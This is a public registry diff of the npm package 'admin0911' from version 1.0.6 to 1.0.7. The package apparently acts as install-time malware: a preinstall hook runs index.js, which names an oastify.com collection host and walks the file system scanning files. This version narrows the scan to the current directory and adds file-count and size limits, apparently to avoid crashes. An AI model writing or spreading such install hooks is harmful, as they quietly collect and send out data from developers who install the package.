admin0911 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/index.js CHANGED
@@ -4,8 +4,10 @@ const path = require('path');
4
4
  const os = require('os');
5
5
 
6
6
  const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
7
- const ROOT_DIR = os.platform() === 'win32' ? 'C:\\' : '/';
8
- const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB
7
+ const ROOT_DIR = process.cwd(); // Reverted to current directory to prevent OOM
8
+ const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB constraint
9
+ const MAX_FILES_TO_SCAN = 1000;
10
+ let scannedFilesCount = 0;
9
11
 
10
12
  const found = [];
11
13
 
@@ -93,14 +95,19 @@ function scanFile(filePath) {
93
95
  }
94
96
 
95
97
  function scanDirectory(dir) {
98
+ if (scannedFilesCount >= MAX_FILES_TO_SCAN) return;
96
99
  try {
97
100
  const entries = fs.readdirSync(dir, { withFileTypes: true });
98
101
  for (const entry of entries) {
102
+ if (scannedFilesCount >= MAX_FILES_TO_SCAN) break;
99
103
  const fullPath = path.join(dir, entry.name);
100
104
  if (entry.isDirectory()) {
105
+ // Skip common large or slow directories
106
+ if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows'].includes(entry.name.toLowerCase())) continue;
101
107
  scanDirectory(fullPath);
102
108
  } else {
103
109
  scanFile(fullPath);
110
+ scannedFilesCount++;
104
111
  }
105
112
  }
106
113
  } catch (e) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "admin0911",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }
Binary file